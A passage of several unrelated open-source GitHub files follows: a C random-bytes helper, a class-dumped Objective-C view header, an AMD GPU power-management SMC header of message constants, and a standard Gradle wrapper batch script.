to generate a new pseudo * random numbers. */ void cfs_srand(unsigned int seed1, unsigned int seed2) { if (seed1) seed_x = seed1; /* use default seeds if parameter is 0 */ if (seed2) seed_y = seed2; } EXPORT_SYMBOL(cfs_srand); /** * cfs_get_random_bytes - generate a bunch of random numbers * @buf : buffer to fill with random numbers * @size: size of passed in buffer * * Fills a buffer with random bytes */ void cfs_get_random_bytes(void *buf, int size) { int *p = buf; int rem, tmp; LASSERT(size >= 0); rem = min((int)((unsigned long)buf & (sizeof(int) - 1)), size); if (rem) { get_random_bytes(&tmp, sizeof(tmp)); tmp ^= cfs_rand(); memcpy(buf, &tmp, rem); p = buf + rem; size -= rem; } while (size >= sizeof(int)) { get_random_bytes(&tmp, sizeof(tmp)); *p = cfs_rand() ^ tmp; size -= sizeof(int); p++; } buf = p; if (size) { get_random_bytes(&tmp, sizeof(tmp)); tmp ^= cfs_rand(); memcpy(buf, &tmp, size); } } EXPORT_SYMBOL(cfs_get_random_bytes);
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 25 2017 03:49:04). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <AppKit/NSImageView.h> @interface DoubleClickImageView : NSImageView { id mDoubleActionTarget; SEL mDoubleActionSelector; BOOL highlight; } - (void).cxx_destruct; - (void)drawRect:(struct CGRect)arg1; - (id)initWithCoder:(id)arg1; - (void)mouseDown:(id)arg1; - (BOOL)acceptsFirstMouse:(id)arg1; - (void)setDoubleAction:(SEL)arg1 withTarget:(id)arg2; @end
{ "pile_set_name": "Github" }
/* * Copyright 2015 Advanced Micro Devices, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * */ #ifndef TONGA_PP_SMC_H #define TONGA_PP_SMC_H #pragma pack(push, 1) #define PPSMC_SWSTATE_FLAG_DC 0x01 #define PPSMC_SWSTATE_FLAG_UVD 0x02 #define PPSMC_SWSTATE_FLAG_VCE 0x04 #define PPSMC_SWSTATE_FLAG_PCIE_X1 0x08 #define PPSMC_THERMAL_PROTECT_TYPE_INTERNAL 0x00 #define PPSMC_THERMAL_PROTECT_TYPE_EXTERNAL 0x01 #define PPSMC_THERMAL_PROTECT_TYPE_NONE 0xff #define PPSMC_SYSTEMFLAG_GPIO_DC 0x01 #define PPSMC_SYSTEMFLAG_STEPVDDC 0x02 #define PPSMC_SYSTEMFLAG_GDDR5 0x04 #define PPSMC_SYSTEMFLAG_DISABLE_BABYSTEP 0x08 #define PPSMC_SYSTEMFLAG_REGULATOR_HOT 0x10 #define PPSMC_SYSTEMFLAG_REGULATOR_HOT_ANALOG 0x20 #define PPSMC_SYSTEMFLAG_12CHANNEL 0x40 #define PPSMC_EXTRAFLAGS_AC2DC_ACTION_MASK 0x07 #define PPSMC_EXTRAFLAGS_AC2DC_DONT_WAIT_FOR_VBLANK 0x08 #define PPSMC_EXTRAFLAGS_AC2DC_ACTION_GOTODPMLOWSTATE 0x00 #define PPSMC_EXTRAFLAGS_AC2DC_ACTION_GOTOINITIALSTATE 0x01 #define PPSMC_EXTRAFLAGS_AC2DC_GPIO5_POLARITY_HIGH 0x10 #define PPSMC_EXTRAFLAGS_DRIVER_TO_GPIO17 0x20 #define PPSMC_EXTRAFLAGS_PCC_TO_GPIO17 0x40 /* Defines for DPM 2.0 */ #define PPSMC_DPM2FLAGS_TDPCLMP 0x01 #define PPSMC_DPM2FLAGS_PWRSHFT 0x02 #define PPSMC_DPM2FLAGS_OCP 0x04 /* Defines for display watermark level */ #define PPSMC_DISPLAY_WATERMARK_LOW 0 #define PPSMC_DISPLAY_WATERMARK_HIGH 1 /* In the HW performance level's state flags:*/ #define PPSMC_STATEFLAG_AUTO_PULSE_SKIP 0x01 #define PPSMC_STATEFLAG_POWERBOOST 0x02 #define PPSMC_STATEFLAG_PSKIP_ON_TDP_FAULT 0x04 #define PPSMC_STATEFLAG_POWERSHIFT 0x08 #define PPSMC_STATEFLAG_SLOW_READ_MARGIN 0x10 #define PPSMC_STATEFLAG_DEEPSLEEP_THROTTLE 0x20 #define PPSMC_STATEFLAG_DEEPSLEEP_BYPASS 0x40 /* Fan control algorithm:*/ #define FDO_MODE_HARDWARE 0 #define FDO_MODE_PIECE_WISE_LINEAR 1 enum FAN_CONTROL { FAN_CONTROL_FUZZY, FAN_CONTROL_TABLE }; /* Return codes for driver to SMC communication.*/ #define PPSMC_Result_OK ((uint16_t)0x01) #define PPSMC_Result_NoMore ((uint16_t)0x02) #define PPSMC_Result_NotNow ((uint16_t)0x03) #define PPSMC_Result_Failed ((uint16_t)0xFF) #define PPSMC_Result_UnknownCmd ((uint16_t)0xFE) #define PPSMC_Result_UnknownVT ((uint16_t)0xFD) typedef uint16_t PPSMC_Result; #define PPSMC_isERROR(x) ((uint16_t)0x80 & (x)) #define PPSMC_MSG_Halt ((uint16_t)0x10) #define PPSMC_MSG_Resume ((uint16_t)0x11) #define PPSMC_MSG_EnableDPMLevel ((uint16_t)0x12) #define PPSMC_MSG_ZeroLevelsDisabled ((uint16_t)0x13) #define PPSMC_MSG_OneLevelsDisabled ((uint16_t)0x14) #define PPSMC_MSG_TwoLevelsDisabled ((uint16_t)0x15) #define PPSMC_MSG_EnableThermalInterrupt ((uint16_t)0x16) #define PPSMC_MSG_RunningOnAC ((uint16_t)0x17) #define PPSMC_MSG_LevelUp ((uint16_t)0x18) #define PPSMC_MSG_LevelDown ((uint16_t)0x19) #define PPSMC_MSG_ResetDPMCounters ((uint16_t)0x1a) #define PPSMC_MSG_SwitchToSwState ((uint16_t)0x20) #define PPSMC_MSG_SwitchToSwStateLast ((uint16_t)0x3f) #define PPSMC_MSG_SwitchToInitialState ((uint16_t)0x40) #define PPSMC_MSG_NoForcedLevel ((uint16_t)0x41) #define PPSMC_MSG_ForceHigh ((uint16_t)0x42) #define PPSMC_MSG_ForceMediumOrHigh ((uint16_t)0x43) #define PPSMC_MSG_SwitchToMinimumPower ((uint16_t)0x51) #define PPSMC_MSG_ResumeFromMinimumPower ((uint16_t)0x52) #define PPSMC_MSG_EnableCac ((uint16_t)0x53) #define PPSMC_MSG_DisableCac ((uint16_t)0x54) #define PPSMC_DPMStateHistoryStart ((uint16_t)0x55) #define PPSMC_DPMStateHistoryStop ((uint16_t)0x56) #define PPSMC_CACHistoryStart ((uint16_t)0x57) #define PPSMC_CACHistoryStop ((uint16_t)0x58) #define PPSMC_TDPClampingActive ((uint16_t)0x59) #define PPSMC_TDPClampingInactive ((uint16_t)0x5A) #define PPSMC_StartFanControl ((uint16_t)0x5B) #define PPSMC_StopFanControl ((uint16_t)0x5C) #define PPSMC_NoDisplay ((uint16_t)0x5D) #define PPSMC_HasDisplay ((uint16_t)0x5E) #define PPSMC_MSG_UVDPowerOFF ((uint16_t)0x60) #define PPSMC_MSG_UVDPowerON ((uint16_t)0x61) #define PPSMC_MSG_EnableULV ((uint16_t)0x62) #define PPSMC_MSG_DisableULV ((uint16_t)0x63) #define PPSMC_MSG_EnterULV ((uint16_t)0x64) #define PPSMC_MSG_ExitULV ((uint16_t)0x65) #define PPSMC_PowerShiftActive ((uint16_t)0x6A) #define PPSMC_PowerShiftInactive ((uint16_t)0x6B) #define PPSMC_OCPActive ((uint16_t)0x6C) #define PPSMC_OCPInactive ((uint16_t)0x6D) #define PPSMC_CACLongTermAvgEnable ((uint16_t)0x6E) #define PPSMC_CACLongTermAvgDisable ((uint16_t)0x6F) #define PPSMC_MSG_InferredStateSweep_Start ((uint16_t)0x70) #define PPSMC_MSG_InferredStateSweep_Stop ((uint16_t)0x71) #define PPSMC_MSG_SwitchToLowestInfState ((uint16_t)0x72) #define PPSMC_MSG_SwitchToNonInfState ((uint16_t)0x73) #define PPSMC_MSG_AllStateSweep_Start ((uint16_t)0x74) #define PPSMC_MSG_AllStateSweep_Stop ((uint16_t)0x75) #define PPSMC_MSG_SwitchNextLowerInfState ((uint16_t)0x76) #define PPSMC_MSG_SwitchNextHigherInfState ((uint16_t)0x77) #define PPSMC_MSG_MclkRetrainingTest ((uint16_t)0x78) #define PPSMC_MSG_ForceTDPClamping ((uint16_t)0x79) #define PPSMC_MSG_CollectCAC_PowerCorreln ((uint16_t)0x7A) #define PPSMC_MSG_CollectCAC_WeightCalib ((uint16_t)0x7B) #define PPSMC_MSG_CollectCAC_SQonly ((uint16_t)0x7C) #define PPSMC_MSG_CollectCAC_TemperaturePwr ((uint16_t)0x7D) #define PPSMC_MSG_ExtremitiesTest_Start ((uint16_t)0x7E) #define PPSMC_MSG_ExtremitiesTest_Stop ((uint16_t)0x7F) #define PPSMC_FlushDataCache ((uint16_t)0x80) #define PPSMC_FlushInstrCache ((uint16_t)0x81) #define PPSMC_MSG_SetEnabledLevels ((uint16_t)0x82) #define PPSMC_MSG_SetForcedLevels ((uint16_t)0x83) #define PPSMC_MSG_ResetToDefaults ((uint16_t)0x84) #define PPSMC_MSG_SetForcedLevelsAndJump ((uint16_t)0x85) #define PPSMC_MSG_SetCACHistoryMode ((uint16_t)0x86) #define PPSMC_MSG_EnableDTE ((uint16_t)0x87) #define PPSMC_MSG_DisableDTE ((uint16_t)0x88) #define PPSMC_MSG_SmcSpaceSetAddress ((uint16_t)0x89) #define PPSMC_MSG_ChangeNearTDPLimit ((uint16_t)0x90) #define PPSMC_MSG_ChangeSafePowerLimit ((uint16_t)0x91) #define PPSMC_MSG_DPMStateSweepStart ((uint16_t)0x92) #define PPSMC_MSG_DPMStateSweepStop ((uint16_t)0x93) #define PPSMC_MSG_OVRDDisableSCLKDS ((uint16_t)0x94) #define PPSMC_MSG_CancelDisableOVRDSCLKDS ((uint16_t)0x95) #define PPSMC_MSG_ThrottleOVRDSCLKDS ((uint16_t)0x96) #define PPSMC_MSG_CancelThrottleOVRDSCLKDS ((uint16_t)0x97) #define PPSMC_MSG_GPIO17 ((uint16_t)0x98) #define PPSMC_MSG_API_SetSvi2Volt_Vddc ((uint16_t)0x99) #define PPSMC_MSG_API_SetSvi2Volt_Vddci ((uint16_t)0x9A) #define PPSMC_MSG_API_SetSvi2Volt_Mvdd ((uint16_t)0x9B) #define PPSMC_MSG_API_GetSvi2Volt_Vddc ((uint16_t)0x9C) #define PPSMC_MSG_API_GetSvi2Volt_Vddci ((uint16_t)0x9D) #define PPSMC_MSG_API_GetSvi2Volt_Mvdd ((uint16_t)0x9E) #define PPSMC_MSG_BREAK ((uint16_t)0xF8) /* Trinity Specific Messages*/ #define PPSMC_MSG_Test ((uint16_t) 0x100) #define PPSMC_MSG_DPM_Voltage_Pwrmgt ((uint16_t) 0x101) #define PPSMC_MSG_DPM_Config ((uint16_t) 0x102) #define PPSMC_MSG_PM_Controller_Start ((uint16_t) 0x103) #define PPSMC_MSG_DPM_ForceState ((uint16_t) 0x104) #define PPSMC_MSG_PG_PowerDownSIMD ((uint16_t) 0x105) #define PPSMC_MSG_PG_PowerUpSIMD ((uint16_t) 0x106) #define PPSMC_MSG_PM_Controller_Stop ((uint16_t) 0x107) #define PPSMC_MSG_PG_SIMD_Config ((uint16_t) 0x108) #define PPSMC_MSG_Voltage_Cntl_Enable ((uint16_t) 0x109) #define PPSMC_MSG_Thermal_Cntl_Enable ((uint16_t) 0x10a) #define PPSMC_MSG_Reset_Service ((uint16_t) 0x10b) #define PPSMC_MSG_VCEPowerOFF ((uint16_t) 0x10e) #define PPSMC_MSG_VCEPowerON ((uint16_t) 0x10f) #define PPSMC_MSG_DPM_Disable_VCE_HS ((uint16_t) 0x110) #define PPSMC_MSG_DPM_Enable_VCE_HS ((uint16_t) 0x111) #define PPSMC_MSG_DPM_N_LevelsDisabled ((uint16_t) 0x112) #define PPSMC_MSG_DCEPowerOFF ((uint16_t) 0x113) #define PPSMC_MSG_DCEPowerON ((uint16_t) 0x114) #define PPSMC_MSG_PCIE_DDIPowerDown ((uint16_t) 0x117) #define PPSMC_MSG_PCIE_DDIPowerUp ((uint16_t) 0x118) #define PPSMC_MSG_PCIE_CascadePLLPowerDown ((uint16_t) 0x119) #define PPSMC_MSG_PCIE_CascadePLLPowerUp ((uint16_t) 0x11a) #define PPSMC_MSG_SYSPLLPowerOff ((uint16_t) 0x11b) #define PPSMC_MSG_SYSPLLPowerOn ((uint16_t) 0x11c) #define PPSMC_MSG_DCE_RemoveVoltageAdjustment ((uint16_t) 0x11d) #define PPSMC_MSG_DCE_AllowVoltageAdjustment ((uint16_t) 0x11e) #define PPSMC_MSG_DISPLAYPHYStatusNotify ((uint16_t) 0x11f) #define PPSMC_MSG_EnableBAPM ((uint16_t) 0x120) #define PPSMC_MSG_DisableBAPM ((uint16_t) 0x121) #define PPSMC_MSG_PCIE_PHYPowerDown ((uint16_t) 0x122) #define PPSMC_MSG_PCIE_PHYPowerUp ((uint16_t) 0x123) #define PPSMC_MSG_UVD_DPM_Config ((uint16_t) 0x124) #define PPSMC_MSG_Spmi_Enable ((uint16_t) 0x122) #define PPSMC_MSG_Spmi_Timer ((uint16_t) 0x123) #define PPSMC_MSG_LCLK_DPM_Config ((uint16_t) 0x124) #define PPSMC_MSG_NBDPM_Config ((uint16_t) 0x125) #define PPSMC_MSG_PCIE_DDIPhyPowerDown ((uint16_t) 0x126) #define PPSMC_MSG_PCIE_DDIPhyPowerUp ((uint16_t) 0x127) #define PPSMC_MSG_MCLKDPM_Config ((uint16_t) 0x128) #define PPSMC_MSG_UVDDPM_Config ((uint16_t) 0x129) #define PPSMC_MSG_VCEDPM_Config ((uint16_t) 0x12A) #define PPSMC_MSG_ACPDPM_Config ((uint16_t) 0x12B) #define PPSMC_MSG_SAMUDPM_Config ((uint16_t) 0x12C) #define PPSMC_MSG_UVDDPM_SetEnabledMask ((uint16_t) 0x12D) #define PPSMC_MSG_VCEDPM_SetEnabledMask ((uint16_t) 0x12E) #define PPSMC_MSG_ACPDPM_SetEnabledMask ((uint16_t) 0x12F) #define PPSMC_MSG_SAMUDPM_SetEnabledMask ((uint16_t) 0x130) #define PPSMC_MSG_MCLKDPM_ForceState ((uint16_t) 0x131) #define PPSMC_MSG_MCLKDPM_NoForcedLevel ((uint16_t) 0x132) #define PPSMC_MSG_Thermal_Cntl_Disable ((uint16_t) 0x133) #define PPSMC_MSG_SetTDPLimit ((uint16_t) 0x134) #define PPSMC_MSG_Voltage_Cntl_Disable ((uint16_t) 0x135) #define PPSMC_MSG_PCIeDPM_Enable ((uint16_t) 0x136) #define PPSMC_MSG_ACPPowerOFF ((uint16_t) 0x137) #define PPSMC_MSG_ACPPowerON ((uint16_t) 0x138) #define PPSMC_MSG_SAMPowerOFF ((uint16_t) 0x139) #define PPSMC_MSG_SAMPowerON ((uint16_t) 0x13a) #define PPSMC_MSG_SDMAPowerOFF ((uint16_t) 0x13b) #define PPSMC_MSG_SDMAPowerON ((uint16_t) 0x13c) #define PPSMC_MSG_PCIeDPM_Disable ((uint16_t) 0x13d) #define PPSMC_MSG_IOMMUPowerOFF ((uint16_t) 0x13e) #define PPSMC_MSG_IOMMUPowerON ((uint16_t) 0x13f) #define PPSMC_MSG_NBDPM_Enable ((uint16_t) 0x140) #define PPSMC_MSG_NBDPM_Disable ((uint16_t) 0x141) #define PPSMC_MSG_NBDPM_ForceNominal ((uint16_t) 0x142) #define PPSMC_MSG_NBDPM_ForcePerformance ((uint16_t) 0x143) #define PPSMC_MSG_NBDPM_UnForce ((uint16_t) 0x144) #define PPSMC_MSG_SCLKDPM_SetEnabledMask ((uint16_t) 0x145) #define PPSMC_MSG_MCLKDPM_SetEnabledMask ((uint16_t) 0x146) #define PPSMC_MSG_PCIeDPM_ForceLevel ((uint16_t) 0x147) #define PPSMC_MSG_PCIeDPM_UnForceLevel ((uint16_t) 0x148) #define PPSMC_MSG_EnableACDCGPIOInterrupt ((uint16_t) 0x149) #define PPSMC_MSG_EnableVRHotGPIOInterrupt ((uint16_t) 0x14a) #define PPSMC_MSG_SwitchToAC ((uint16_t) 0x14b) #define PPSMC_MSG_XDMAPowerOFF ((uint16_t) 0x14c) #define PPSMC_MSG_XDMAPowerON ((uint16_t) 0x14d) #define PPSMC_MSG_DPM_Enable ((uint16_t)0x14e) #define PPSMC_MSG_DPM_Disable ((uint16_t)0x14f) #define PPSMC_MSG_MCLKDPM_Enable ((uint16_t)0x150) #define PPSMC_MSG_MCLKDPM_Disable ((uint16_t)0x151) #define PPSMC_MSG_LCLKDPM_Enable ((uint16_t)0x152) #define PPSMC_MSG_LCLKDPM_Disable ((uint16_t)0x153) #define PPSMC_MSG_UVDDPM_Enable ((uint16_t)0x154) #define PPSMC_MSG_UVDDPM_Disable ((uint16_t)0x155) #define PPSMC_MSG_SAMUDPM_Enable ((uint16_t)0x156) #define PPSMC_MSG_SAMUDPM_Disable ((uint16_t)0x157) #define PPSMC_MSG_ACPDPM_Enable ((uint16_t)0x158) #define PPSMC_MSG_ACPDPM_Disable ((uint16_t)0x159) #define PPSMC_MSG_VCEDPM_Enable ((uint16_t)0x15a) #define PPSMC_MSG_VCEDPM_Disable ((uint16_t)0x15b) #define PPSMC_MSG_LCLKDPM_SetEnabledMask ((uint16_t)0x15c) #define PPSMC_MSG_DPM_FPS_Mode ((uint16_t) 0x15d) #define PPSMC_MSG_DPM_Activity_Mode ((uint16_t) 0x15e) #define PPSMC_MSG_VddC_Request ((uint16_t) 0x15f) #define PPSMC_MSG_MCLKDPM_GetEnabledMask ((uint16_t) 0x160) #define PPSMC_MSG_LCLKDPM_GetEnabledMask ((uint16_t) 0x161) #define PPSMC_MSG_SCLKDPM_GetEnabledMask ((uint16_t) 0x162) #define PPSMC_MSG_UVDDPM_GetEnabledMask ((uint16_t) 0x163) #define PPSMC_MSG_SAMUDPM_GetEnabledMask ((uint16_t) 0x164) #define PPSMC_MSG_ACPDPM_GetEnabledMask ((uint16_t) 0x165) #define PPSMC_MSG_VCEDPM_GetEnabledMask ((uint16_t) 0x166) #define PPSMC_MSG_PCIeDPM_SetEnabledMask ((uint16_t) 0x167) #define PPSMC_MSG_PCIeDPM_GetEnabledMask ((uint16_t) 0x168) #define PPSMC_MSG_TDCLimitEnable ((uint16_t) 0x169) #define PPSMC_MSG_TDCLimitDisable ((uint16_t) 0x16a) #define PPSMC_MSG_DPM_AutoRotate_Mode ((uint16_t) 0x16b) #define PPSMC_MSG_DISPCLK_FROM_FCH ((uint16_t)0x16c) #define PPSMC_MSG_DISPCLK_FROM_DFS ((uint16_t)0x16d) #define PPSMC_MSG_DPREFCLK_FROM_FCH ((uint16_t)0x16e) #define PPSMC_MSG_DPREFCLK_FROM_DFS ((uint16_t)0x16f) #define PPSMC_MSG_PmStatusLogStart ((uint16_t)0x170) #define PPSMC_MSG_PmStatusLogSample ((uint16_t)0x171) #define PPSMC_MSG_SCLK_AutoDPM_ON ((uint16_t) 0x172) #define PPSMC_MSG_MCLK_AutoDPM_ON ((uint16_t) 0x173) #define PPSMC_MSG_LCLK_AutoDPM_ON ((uint16_t) 0x174) #define PPSMC_MSG_UVD_AutoDPM_ON ((uint16_t) 0x175) #define PPSMC_MSG_SAMU_AutoDPM_ON ((uint16_t) 0x176) #define PPSMC_MSG_ACP_AutoDPM_ON ((uint16_t) 0x177) #define PPSMC_MSG_VCE_AutoDPM_ON ((uint16_t) 0x178) #define PPSMC_MSG_PCIe_AutoDPM_ON ((uint16_t) 0x179) #define PPSMC_MSG_MASTER_AutoDPM_ON ((uint16_t) 0x17a) #define PPSMC_MSG_MASTER_AutoDPM_OFF ((uint16_t) 0x17b) #define PPSMC_MSG_DYNAMICDISPPHYPOWER ((uint16_t) 0x17c) #define PPSMC_MSG_CAC_COLLECTION_ON ((uint16_t) 0x17d) #define PPSMC_MSG_CAC_COLLECTION_OFF ((uint16_t) 0x17e) #define PPSMC_MSG_CAC_CORRELATION_ON ((uint16_t) 0x17f) #define PPSMC_MSG_CAC_CORRELATION_OFF ((uint16_t) 0x180) #define PPSMC_MSG_PM_STATUS_TO_DRAM_ON ((uint16_t) 0x181) #define PPSMC_MSG_PM_STATUS_TO_DRAM_OFF ((uint16_t) 0x182) #define PPSMC_MSG_UVD_HANDSHAKE_OFF ((uint16_t) 0x183) #define PPSMC_MSG_ALLOW_LOWSCLK_INTERRUPT ((uint16_t) 0x184) #define PPSMC_MSG_PkgPwrLimitEnable ((uint16_t) 0x185) #define PPSMC_MSG_PkgPwrLimitDisable ((uint16_t) 0x186) #define PPSMC_MSG_PkgPwrSetLimit ((uint16_t) 0x187) #define PPSMC_MSG_OverDriveSetTargetTdp ((uint16_t) 0x188) #define PPSMC_MSG_SCLKDPM_FreezeLevel ((uint16_t) 0x189) #define PPSMC_MSG_SCLKDPM_UnfreezeLevel ((uint16_t) 0x18A) #define PPSMC_MSG_MCLKDPM_FreezeLevel ((uint16_t) 0x18B) #define PPSMC_MSG_MCLKDPM_UnfreezeLevel ((uint16_t) 0x18C) #define PPSMC_MSG_START_DRAM_LOGGING ((uint16_t) 0x18D) #define PPSMC_MSG_STOP_DRAM_LOGGING ((uint16_t) 0x18E) #define PPSMC_MSG_MASTER_DeepSleep_ON ((uint16_t) 0x18F) #define PPSMC_MSG_MASTER_DeepSleep_OFF ((uint16_t) 0x190) #define PPSMC_MSG_Remove_DC_Clamp ((uint16_t) 0x191) #define PPSMC_MSG_DisableACDCGPIOInterrupt ((uint16_t) 0x192) #define PPSMC_MSG_OverrideVoltageControl_SetVddc ((uint16_t) 0x193) #define PPSMC_MSG_OverrideVoltageControl_SetVddci ((uint16_t) 0x194) #define PPSMC_MSG_SetVidOffset_1 ((uint16_t) 0x195) #define PPSMC_MSG_SetVidOffset_2 ((uint16_t) 0x207) #define PPSMC_MSG_GetVidOffset_1 ((uint16_t) 0x196) #define PPSMC_MSG_GetVidOffset_2 ((uint16_t) 0x208) #define PPSMC_MSG_THERMAL_OVERDRIVE_Enable ((uint16_t) 0x197) #define PPSMC_MSG_THERMAL_OVERDRIVE_Disable ((uint16_t) 0x198) #define PPSMC_MSG_SetTjMax ((uint16_t) 0x199) #define PPSMC_MSG_SetFanPwmMax ((uint16_t) 0x19A) #define PPSMC_MSG_WaitForMclkSwitchFinish ((uint16_t) 0x19B) #define PPSMC_MSG_ENABLE_THERMAL_DPM ((uint16_t) 0x19C) #define PPSMC_MSG_DISABLE_THERMAL_DPM ((uint16_t) 0x19D) #define PPSMC_MSG_Enable_PCC ((uint16_t) 0x19E) #define PPSMC_MSG_Disable_PCC ((uint16_t) 0x19F) #define PPSMC_MSG_API_GetSclkFrequency ((uint16_t) 0x200) #define PPSMC_MSG_API_GetMclkFrequency ((uint16_t) 0x201) #define PPSMC_MSG_API_GetSclkBusy ((uint16_t) 0x202) #define PPSMC_MSG_API_GetMclkBusy ((uint16_t) 0x203) #define PPSMC_MSG_API_GetAsicPower ((uint16_t) 0x204) #define PPSMC_MSG_SetFanRpmMax ((uint16_t) 0x205) #define PPSMC_MSG_SetFanSclkTarget ((uint16_t) 0x206) #define PPSMC_MSG_SetFanMinPwm ((uint16_t) 0x209) #define PPSMC_MSG_SetFanTemperatureTarget ((uint16_t) 0x20A) #define PPSMC_MSG_BACO_StartMonitor ((uint16_t) 0x240) #define PPSMC_MSG_BACO_Cancel ((uint16_t) 0x241) #define PPSMC_MSG_EnableVddGfx ((uint16_t) 0x242) #define PPSMC_MSG_DisableVddGfx ((uint16_t) 0x243) #define PPSMC_MSG_UcodeAddressLow ((uint16_t) 0x244) #define PPSMC_MSG_UcodeAddressHigh ((uint16_t) 0x245) #define PPSMC_MSG_UcodeLoadStatus ((uint16_t) 0x246) #define PPSMC_MSG_DRV_DRAM_ADDR_HI ((uint16_t) 0x250) #define PPSMC_MSG_DRV_DRAM_ADDR_LO ((uint16_t) 0x251) #define PPSMC_MSG_SMU_DRAM_ADDR_HI ((uint16_t) 0x252) #define PPSMC_MSG_SMU_DRAM_ADDR_LO ((uint16_t) 0x253) #define PPSMC_MSG_LoadUcodes ((uint16_t) 0x254) #define PPSMC_MSG_PowerStateNotify ((uint16_t) 0x255) #define PPSMC_MSG_COND_EXEC_DRAM_ADDR_HI ((uint16_t) 0x256) #define PPSMC_MSG_COND_EXEC_DRAM_ADDR_LO ((uint16_t) 0x257) #define PPSMC_MSG_VBIOS_DRAM_ADDR_HI ((uint16_t) 0x258) #define PPSMC_MSG_VBIOS_DRAM_ADDR_LO ((uint16_t) 0x259) #define PPSMC_MSG_LoadVBios ((uint16_t) 0x25A) #define PPSMC_MSG_GetUcodeVersion ((uint16_t) 0x25B) #define DMCUSMC_MSG_PSREntry ((uint16_t) 0x25C) #define DMCUSMC_MSG_PSRExit ((uint16_t) 0x25D) #define PPSMC_MSG_EnableClockGatingFeature ((uint16_t) 0x260) #define PPSMC_MSG_DisableClockGatingFeature ((uint16_t) 0x261) #define PPSMC_MSG_IsDeviceRunning ((uint16_t) 0x262) #define PPSMC_MSG_LoadMetaData ((uint16_t) 0x263) #define PPSMC_MSG_TMON_AutoCaliberate_Enable ((uint16_t) 0x264) #define PPSMC_MSG_TMON_AutoCaliberate_Disable ((uint16_t) 0x265) #define PPSMC_MSG_GetTelemetry1Slope ((uint16_t) 0x266) #define PPSMC_MSG_GetTelemetry1Offset ((uint16_t) 0x267) #define PPSMC_MSG_GetTelemetry2Slope ((uint16_t) 0x268) #define PPSMC_MSG_GetTelemetry2Offset ((uint16_t) 0x269) typedef uint16_t PPSMC_Msg; /* If the SMC firmware has an event status soft register this is what the individual bits mean.*/ #define PPSMC_EVENT_STATUS_THERMAL 0x00000001 #define PPSMC_EVENT_STATUS_REGULATORHOT 0x00000002 #define PPSMC_EVENT_STATUS_DC 0x00000004 #define PPSMC_EVENT_STATUS_GPIO17 0x00000008 #pragma pack(pop) #endif
{ "pile_set_name": "Github" }
@rem @rem Copyright 2015 the original author or authors. @rem @rem Licensed under the Apache License, Version 2.0 (the "License"); @rem you may not use this file except in compliance with the License. @rem You may obtain a copy of the License at @rem @rem http://www.apache.org/licenses/LICENSE-2.0 @rem @rem Unless required by applicable law or agreed to in writing, software @rem distributed under the License is distributed on an "AS IS" BASIS, @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem @if "%DEBUG%" == "" @echo off @rem ########################################################################## @rem @rem Gradle startup script for Windows @rem @rem ########################################################################## @rem Set local scope for the variables with windows NT shell if "%OS%"=="Windows_NT" setlocal set DIRNAME=%~dp0 if "%DIRNAME%" == "" set DIRNAME=. set APP_BASE_NAME=%~n0 set APP_HOME=%DIRNAME% @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" @rem Find java.exe if defined JAVA_HOME goto findJavaFromJavaHome set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if "%ERRORLEVEL%" == "0" goto init echo. echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. echo. echo Please set the JAVA_HOME variable in your environment to match the echo location of your Java installation. goto fail :findJavaFromJavaHome set JAVA_HOME=%JAVA_HOME:"=% set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto init echo. echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% echo. echo Please set the JAVA_HOME variable in your environment to match the echo location of your Java installation. goto fail :init @rem Get command-line arguments, handling Windows variants if not "%OS%" == "Windows_NT" goto win9xME_args :win9xME_args @rem Slurp the command line arguments. set CMD_LINE_ARGS= set _SKIP=2 :win9xME_args_slurp if "x%~1" == "x" goto execute set CMD_LINE_ARGS=%* :execute @rem Setup the command line set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar @rem Execute Gradle "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS% :end @rem End local scope for the variables with windows NT shell if "%ERRORLEVEL%"=="0" goto mainEnd :fail rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of rem the _cmd.exe /c_ return code! if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 exit /b 1 :mainEnd if "%OS%"=="Windows_NT" endlocal :omega
{ "pile_set_name": "Github" }
